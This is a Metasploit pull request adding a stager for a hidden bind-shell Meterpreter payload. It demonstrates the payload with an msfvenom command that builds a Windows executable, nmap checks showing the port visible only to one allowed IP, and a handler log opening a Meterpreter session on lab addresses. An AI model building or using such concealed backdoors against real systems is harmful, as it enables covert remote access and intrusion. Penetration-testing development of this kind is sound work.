rapid7/metasploit-framework — pull request #3394 by BorjaMerino (2014-05-27 09:24:02+00:00)
Title: Add stager for hidden bind shell payload

Stager version for the hidden bind shell payload.
The single payload is still pending to approval: https://github.com/rapid7/metasploit-framework/pull/3017

Example:
$ ./msfvenom -p windows/meterpreter/bind_hidden_tcp AHOST=192.168.1.111 LPORT=4987 -f exe > msf.exe

$ ifconfig eth0 192.168.1.20 <--- not allowed IP
$route add default gw 192.168.1.1
$ nmap -p 4987 192.168.1.45 | grep 4987
4987/tcp closed maybe-veritas <--- CLOSED

$ ifconfig eth0 192.168.1.111 <--- allowed IP
$ route add default gw 192.168.1.1
$nmap -p 4987 192.168.1.45 | grep 4987
4987/tcp open maybe-veritas <--- OPEN

msf exploit(handler) > set payload windows/meterpreter/bind_hidden_tcp
payload => windows/meterpreter/bind_hidden_tcp
msf exploit(handler) > set LPORT 4987
LPORT => 4987
msf exploit(handler) > set RHOST 192.168.1.45
RHOST => 192.168.1.45
msf exploit(handler) > exploit
[*] Started Hidden bind handler

[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.45
[*] Meterpreter session 3 opened (192.168.1.111:42938 -> 192.168.1.45:4987) at 2014-05-27 11:19:18 +0200

meterpreter >